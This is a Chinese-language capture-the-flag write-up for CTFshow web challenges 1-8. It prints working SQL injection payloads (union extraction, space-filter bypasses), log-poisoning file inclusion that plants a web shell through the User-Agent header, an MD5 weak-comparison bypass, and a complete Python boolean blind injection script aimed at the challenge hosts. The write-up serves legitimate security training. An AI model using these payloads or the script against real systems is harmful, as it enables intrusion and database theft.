CTFshow web1~8 WP Write by SunnyDog

2023-10-26


在这里插入图片描述

web签到题–查看源码

直接查看页面源代码,在源代码中 得到一串base64编码,解码即是flag

请添加图片描述


web2–SQL注入

1、开启题目后发现是一个登录框,直接尝试万能密码,可以得到回显:

万能密码:

1' or 1#

请添加图片描述

2、得到回显后,直接使用union联合注入,找到页面回显点,由于此处不知都为啥我的Hackbar使用出现问题,使用burp来发送数据包,在burp内将数据包发送到Repeater模块,然后传入攻击语句,即可在Response中的渲染内,看到出现回显点

请添加图片描述

3、找到回显点后,即可按顺序爆表、列、字段即可获得flag

表:1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()
列:1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name="flag"#
字段:1' union select 1,group_concat(flag),3 from flag#

请添加图片描述


web3–input伪协议/log注入

1、开启题目后,看到页面提示中有一串文件包含的php命令,由于是文件包含,直接尝试input协议,但是很奇怪嗷,我当时做的使用使用input协议回显为error,但是这次就出来了:

请添加图片描述请添加图片描述

2、但是本题还有一个漏洞点,假设我们现在input协议无法使用,且从数据包的回显中可以看出,该靶场服务器为ngix系统,那么通过文件包含查看其日志文件:

?url=/var/log/nginx/access.log

请添加图片描述
请添加图片描述

可以看出,日志就是将数据包的User-Agent中的内容写入了,那么尝试在User-Agent头中写入一句话木马:

请添加图片描述

发送到服务器后,包含刚刚的日志文件,发现没有这行一句话木马的信息,证明此时我的木马被服务器解析了,那么就可以直接使用蚁剑来进行连接:

请添加图片描述

蚁剑链接后,就可以在ctf_go_go_go中得到flag

请添加图片描述


Web4–log注入

本题与web3的第二种方法做法相同,在user-agent头后写一句话木马,包含日志文件后即可通过蚁剑连接


Web5–代码审计

本题需要传入两个参数,分别是v1和v2

请添加图片描述

isset():用于检测变量是否已设置并且非 NULL;

ctype_alpha():用于检查给定的字符串是否仅包含字母;

is_numeric():用于检测变量是否为数字或数字字符串;

md5():计算字符串的 MD5 散列;

对于本题来说,需要传入两个参数v1和v2,并且v1必须为仅包含字母的字符串,v2必须为数字或数字字符串,那么此处就可以利用md5的弱类型比较来绕过,参考其中的0e绕过:https://blog.csdn.net/weixin_43332695/article/details/119349204

设置payload:

?v1=QNKCDZO&v2=240610708

请添加图片描述


Web6–SQL注入,但是过滤

看到登录框,同样先尝试我们的万能密码:

username=admin' or 1#&password=123

请添加图片描述

发现此时出现了过滤信息,在对上述语句一个一个尝试后,发现过滤了空格,在SQL注入中,可以使用()或/**/来绕过空格:

username=admin'or(1)#&password=123
username=admin'/**/or/**/1#&password=123

请添加图片描述

成功绕过,然后构造将空格替换为/**/的语句即可得出flag:

username=admin'union/**/select/**/1,2,3#&password=123
username=admin'union/**/select/**/1,group_concat(table_name),3/**/from/**/information_schema.tables/**/where/**/table_schema=database()#&password=123
username=admin'union/**/select/**/1,group_concat(column_name),3/**/from/**/information_schema.columns/**/where/**/table_name="flag"#&password=123
username=admin'union/**/select/**/1,group_concat(flag),3/**/from/**/flag#&password=123

请添加图片描述


Web7–SQL注入

本题开启后,随意点击一个文章,可以发现url地址中有一个参数id,猜测有SQL注入点

请添加图片描述

使用payload尝试,发现过滤了空格,则构造:

?id=1'/**/or/**/1#
http://e780cea5-07c7-4539-98a8-256b33349b15.challenge.ctf.show/index.php?id=1'/**/union/**/select/**/1,2,3#
http://e780cea5-07c7-4539-98a8-256b33349b15.challenge.ctf.show/index.php?id=1'/**/union/**/select/**/1,group_concat(table_name),3/**/from/**/information_schema.tables/**/where/**/table_schema=database()#
http://e780cea5-07c7-4539-98a8-256b33349b15.challenge.ctf.show/index.php?id=1'/**/union/**/select/**/1,group_concat(column_name),3/**/from/**/information_schema.columns/**/where/**/table_name="flag"#
http://e780cea5-07c7-4539-98a8-256b33349b15.challenge.ctf.show/index.php?id=1'/**/union/**/select/**/1,group_concat(flag),3/**/from/**/flag#

请添加图片描述


Web8–脚本布尔盲注

经过一系列payload的尝试后,发现本题过滤了空格、union、and、逗号等,这也意味着无法使用联合查询了,那么此时就需要我们编写脚本来解决:

import requests

url = 'http://42663f6e-29cf-493e-9d72-80872db16864.challenge.ctf.show/index.php?id=-1/**/or/**/'
name = ''

# 循环100次( 循环次数按照返回的字符串长度自定义)
for i in range(1, 80):
    # 获取当前使用的数据库
    # payload = 'ascii(substr(database()from/**/%d/**/for/**/1))=%d'
    # 获取当前数据库的所有表
    # payload = 'ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database())from/**/%d/**/for/**/1))=%d'
    # 获取flag表的字段
    # payload = 'ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name=0x666C6167)from/**/%d/**/for/**/1))=%d'
    # 获取flag表的数据
    payload = 'ascii(substr((select/**/flag/**/from/**/flag)from/**/%d/**/for/**/1))=%d'
    count = 0
    print('正在获取第 %d 个字符' % i)
    # 截取SQL查询结果的每个字符, 并判断字符内容
    for j in range(31, 128):
        result = requests.get(url + payload % (i, j))
        if 'If' in result.text:
            name += chr(j)
            print('数据库名/表名/字段名/数据: %s' % name)
            break

        # 如果某个字符不存在,则停止程序
        count += 1
        if count >= (128 - 31):
            exit()

程序十分钟内跑出flag

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

CTFshow web1~8 WP Write by SunnyDog 的相关文章

  • 适用于任何公司的网络安全架构

    1 第一等级 基础级 优势 可防范基本有针对性的攻击 使攻击者难以在网络上推进 将生产环境与企业环境进行基本隔离 劣势 默认的企业网络应被视为潜在受损 普通员工的工作站以及管理员的工作站可能受到潜在威胁 因为它们在生产网络中具有基本和管理员
  • 【网络安全】Web缓存欺骗攻击原理及攻防实战

    Web缓存欺骗是一种新的攻击方式 危害范围可扩大至各种技术及框架 本文仅分享Web缓存攻击知识 不承担任何由于传播 利用本文所发布内容而造成的任何后果及法律责任 文章目录 前言 攻击前提及原理 实例一 ChatGPT帐户接管漏洞 实例二 P
  • 【CTF必看】从零开始的CTF学习路线(超详细),让你从小白进阶成大神!

    最近很多朋友在后台私信我 问应该怎么入门CTF 个人认为入门CTF之前大家应该先了解到底 什么是CTF 而你 学CTF的目的又到底是什么 其次便是最好具备相应的编程能力 若是完全不具备这些能力极有可能直接被劝退 毕竟比赛的时候动不动写个脚本
  • 线程安全(中)--彻底搞懂synchronized(从偏向锁到重量级锁)

    接触过线程安全的同学想必都使用过synchronized这个关键字 在java同步代码快中 synchronized的使用方式无非有两个 通过对一个对象进行加锁来实现同步 如下面代码 synchronized lockObject 代码 对
  • WEB前端常见受攻击方式及解决办法总结

    一个网址建立后 如果不注意安全问题 就很容易被人攻击 下面讨论一下集中漏洞情况和放置攻击的方法 一 SQL注入 所谓的SQL注入 就是通过把SQL命令插入到web表单提交或输入域名或页面请求的查询字符串 最终达到欺骗服务器执行恶意的SQL命
  • 2024年网络安全十10大发展趋势发布

    2023年网络安全十10大发展趋势发布 近日 中国计算机学会 CCF 计算机安全专委会中 来自国家网络安全主管部门 高校 科研院所 大型央企 民营企业的委员投票评选出2023年网络安全十大发展趋势 福利 趋势一 数据安全治理成为数字经济的基
  • Android开发中常见安全问题和解决方案

    前言 开发APP时经常有问到 APP的安全怎么保障 应用程序被PJ了怎么办 手机被人捡去了怎么办 特别在号称 安全第一 风控牛逼 的银行系统内 移动产品安全性仍被持有怀疑态度 那我们来总结下APP安全的方向和具体知识 1 应用程序安全 2
  • Android SDK开发艺术探索(五)安全与校验

    一 前言 本篇是Android SDK开发艺术探索系列的第五篇文章 介绍了一些SDK开发中安全方面的知识 包括资源完整性 存储安全 权限校验 传输安全 代码混淆等知识 通过基础的安全配置为SDK保驾护航 探索SDK开发在安全方面的最佳实践
  • 通俗易懂,十分钟读懂DES,详解DES加密算法原理,DES攻击手段以及3DES原理

    文章目录 1 什么是DES 2 DES的基本概念 3 DES的加密流程 4 DES算法步骤详解 4 1 初始置换 Initial Permutation IP置换 4 2 加密轮次 4 3 F轮函数 4 3 1 拓展R到48位 4 3 2
  • 小白入门黑客之渗透测试(超详细)基本流程(内附工具)

    经常会收到小伙伴们这样的私信 为什么我总是挖不到漏洞呢 渗透到底是什么样的流程呢 所以全网最详细的渗透测试流程来了 渗透测试其实就是通过一些手段来找到网站 APP 网络服务 软件 服务器等网络设备和应用的漏洞 告诉管理员有哪些漏洞 怎么填补
  • 网络安全(黑客)自学

    1 网络安全是什么 网络安全可以基于攻击和防御视角来分类 我们经常听到的 红队 渗透测试 等就是研究攻击技术 而 蓝队 安全运营 安全运维 则研究防御技术 2 网络安全市场 一 是市场需求量高 二 则是发展相对成熟入门比较容易 3 所需要的
  • 网络安全基础知识面试题库

    1 基于路由器的攻击手段 1 1 源IP地址欺骗式攻击 入侵者从外部传输一个伪装成来自内部主机的数据包 数据包的IP是 内网的合法IP 对策 丢弃所有来自路由器外端口 却使用内部源地址的数据包 1 2 源路由攻击 入侵者让数据包循着一个不可
  • 网络安全:绕过 MSF 的一次渗透测试

    这次渗透的主站是 一个 Discuz 3 4 的搭建 违法招 piao 网站 配置有宝塔 WAF 用 Discuz ML 3 X 的漏洞进行攻击 但是没有成功 发现主站外链会有一个发卡网 引导人们来这充值 是 某某发卡网 而且域名指向也是主
  • 静态综合实验

    1 IP地址划分 192 168 1 0 27 用于主干拆分 192 168 1 32 27 用于用户拆分 192 168 1 64 27 用于用户拆分 192 168 1 96 27 用于用户拆分 192 168 1 128 27 用于用
  • 网络安全(黑客)自学启蒙

    一 什么是网络安全 网络安全是一种综合性的概念 涵盖了保护计算机系统 网络基础设施和数据免受未经授权的访问 攻击 损害或盗窃的一系列措施和技术 经常听到的 红队 渗透测试 等就是研究攻击技术 而 蓝队 安全运营 安全运维 则研究防御技术 作
  • 为什么我强烈推荐大学生打CTF!

    前言 写这个文章是因为我很多粉丝都是学生 经常有人问 感觉大一第一个学期忙忙碌碌的过去了 啥都会一点 但是自己很难系统的学习到整个知识体系 很迷茫 想知道要如何高效学习 这篇文章我主要就围绕两点 减少那些罗里吧嗦的废话 直接上干货 CTF如
  • 【安全】简单解析统一身份认证:介绍、原理和实现方法

    深入解析统一身份认证 介绍 原理和实现方法 导语 统一身份认证是什么 统一身份认证的原理 统一身份认证的实现 结语 导语 随着互联网的发展和各种在线服务的普及 用户在不同的应用和平台上需要进行多次身份验证 为了简化用户的登录和减少重复操作
  • 【安全】mybatis中#{}和${}导致sql注入问题及解决办法

    0 问题 使用mybatis的时候遇到了 和 可能导致sql注入的问题 1 预先了解 1 底层通过prepareStatement对当前传入的sql进行了预编译 一个 被解析为一个参数占位符 解析之后会将String类型的数据自动加上引号
  • 【安全】Java幂等性校验解决重复点击(6种实现方式)

    目录 一 简介 1 1 什么是幂等 1 2 为什么需要幂等性 1 3 接口超时 应该如何处理 1 4 幂等性对系统的影响 二 Restful API 接口的幂等性 三 实现方式 3 1 数据库层面 主键 唯一索引冲突 3 2 数据库层面 乐
  • 【安全】使用docker安装Nessus

    目录 一 准备docker环境服务器 略 二 安装 2 1 搜索镜像 2 2 拉取镜像 2 3 启动镜像 三 离线更新插件 3 1 获取challenge 3 2 官方注册获取激活码 3 3 使用challenge码和激活码获取插件下载地址

随机推荐

  • 三面(技术+HR面试)网易,分享我的面试经验!(已拿offer)

    前言 Java后端面试标准其实不复杂 第一能干活 第二Java基础要好 第三最好熟悉些分布式框架 其实 很多面试者能力其实不差 但面试时没准备或不会说 这样的人可能在进团队干活后确实能达到期望 但可能就无法通过面试 但面试官总是只根据面试情
  • DRM驱动代码分析:图层参数更新

    前言 无业居家 闭门造车 非常欢迎大家帮忙指正 有些代码流程是看代码分析的 没有去验证是否正确 我对DRM框架的很多东西都不了解 所以有些地方会比较生硬 熟悉学习需要时间 文章一直堆在草稿箱可能会降低我的积极性 所以我还是先发布了文章 后面
  • JavaSE之注释规范、文档注释及注解

    Java中的注释不会出现在可执行程序中 有三种标记注释的方式 1 单行注释 2 多行注释 3 文档注释 一 注释可以帮助我们更清晰地阅读代码 了解代码 在 阿里巴巴Java开发手册中 也对注释作了规约 注释规约如下 1 强制 类 类属性 类
  • RuntimeException

    运行时异常可以理解为 隶属于开发者的问题 代码有bug肯定要开发者自己修正啊 处理RuntimeException 不是try catch能解决的 try catch在这里使用毫无意义 编译时异常可以理解为 隶属于用户的问题 用户用的时候没
  • Java Timer定制每天特定时间执行任务

    package com segsec gisap import java util Calendar import java util Date import java util Timer import java util TimerTa
  • JVM垃圾回收器 七种经典垃圾回收器

    文章目录 垃圾回收器概述 评估GC的性能指标 吞吐量 throughput 暂停时间 pause time 七种经典的垃圾回收器 垃圾收集器组合关系 Serial回收器 串行回收 ParNew回收器 并行回收 Parallel Scaven
  • 【华为OD机试 2023】 网上商城优惠活动 / 模拟商场优惠打折II(C++ Java Javascript Python)

    华为od机试题库 华为OD机试2022 2023 C Java JS Py https blog csdn net banxia frontend category 12225173 html 华为OD机试2023最新题库 更新中 C Ja
  • 阿里云NAS文件存储基本介绍与购买使用

    文章目录 1 NAS文件存储基本概念 1 1 什么是NAS文件存储 1 2 NAS的应用场景 1 3 NAS OSS EBS的区别 2 购买NAS文件存储 2 1 开通NAS服务 2 2 创建NAS文件系统 2 3 配置NAS文件系统属性
  • Docker Harbor 私有镜像仓库的部署和管理

    目录 一 什么是Harbor 二 Harbor的特性 三 Harbor的构成 四 部署配置Docker Harbor 首先需要安装 Docker Compose 服务 部署 Harbor 服务 修改配置文件 docker配置文件添加本地仓库
  • 蚁群算法(ACO)分析总结(Matlab+C#模拟解决TSP旅行商问题)

    蚁群算法 1 1 简介 1 2 整体框架 1 3 蚁群算法的基本要素 1 3 1 信息素的正反馈机制 1 3 2 信息素的更新策略 1 3 3 算法停止准则 1 4 蚂蚁个体的建模问题 1 5 蚁群算法的重要参数 1 6 蚁群算法的基本流程
  • 怎么判断私网地址_如何判断一个IP地址是私有地址

    如何判断一个IP地址是私有地址 首先 我们得先了解什么是私有地址 本文所指的IP地址 皆是IPV4 一个IPV4地址 由四段组成 最大值为255 一个IP地址其实就是一个32位的bit串 每8位一段 所谓私有地址 就是非注册地址 只能做内网
  • char数组和指针问题

    这个问题是C 基础问题中相当折腾人的一个 死记硬背解决不了根本问题 记住还是要忘 需要仔细研究其本质 这两种方式就是数组和指针的方式 char a 6 abcde char b abcde 第一行声明了并初始化了一个char数组 第二行是声
  • 从传统软件开发到云原生转型:大数据和AI如何引领软件开发的新趋势

    文章目录 1 数据驱动的开发 2 智能化的用户体验 3 云原生的可扩展性 4 实时处理和决策 5 自动化和效率提升 6 持续集成和交付的加速 7 数据安全和隐私 8 持续学习和创新 个人主页 程序员 小侯 CSDN新晋作者 欢迎 点赞 评论
  • C语言:IP地址

    题目 include
  • C6385:从“buffer”中读取的数据无效: 可读大小为“recv()`72”个字节,但可能读取了“25”个字节。

    C 网络编程中接收结构体对象遇到的问题 想从客户端发送一个结构体对象到服务器 在网上查询后发现可以在客户端用memcpy把结构体拷贝到字符串上发送给客户端 再在客户端把字符串转化为结构体 具体代码如下 结构体 typedef struct
  • 算法知识之最长公共子序列问题(动态规划)

    最近朋友让帮做个关于动态规划的最长公共子序列的问题 翻看以前的笔记并完成该题后 顺便写这样一篇文章 希望对大家有所帮助 同时也帮助自己回顾该知识点 一 最长公共子序列的定义 子序列 若给定序列X x1 x2 xm 则另一序列Z z1 z2
  • 刷脸支付必定是站在时代舞台中央的新星

    2020年初这场突如其来的疫情 打乱了各行各业的节奏 据2019年中国刷脸支付技术应用社会价值专题研究报告预计 2022年刷脸支付市场规模将突破7 6亿人 这说明现在大家习惯的支付是扫码支付 而一两年后人们将形成全新的支付习惯 刷脸支付 疫
  • 【布局 Widget】 Flutter SizedBox

    Flutter Sizedbox 是一个 布局组件 用来给 child 添加 tight 约束的 也可以用来添加空白 width height是 Sizedbox 的参数 BoxConstraints get additionalConst
  • 用户名 不在 sudoers文件中,此事将被报告。

    sudo password for lkp lkp 不在 sudoers 文件中 此事将被报告 sudo命令可以让你以root身份执行命令 来完成一些我们这个帐号完成不了的任务 其实并非所有用户都能够执行sudo 因为有权限的用户都在 et
  • CTFshow web1~8 WP Write by SunnyDog

    文章目录 web签到题 查看源码 web2 SQL注入 web3 input伪协议 log注入 Web4 log注入 Web5 代码审计 Web6 SQL注入 但是过滤 Web7 SQL注入 Web8 脚本布尔盲注 web签到题 查看源码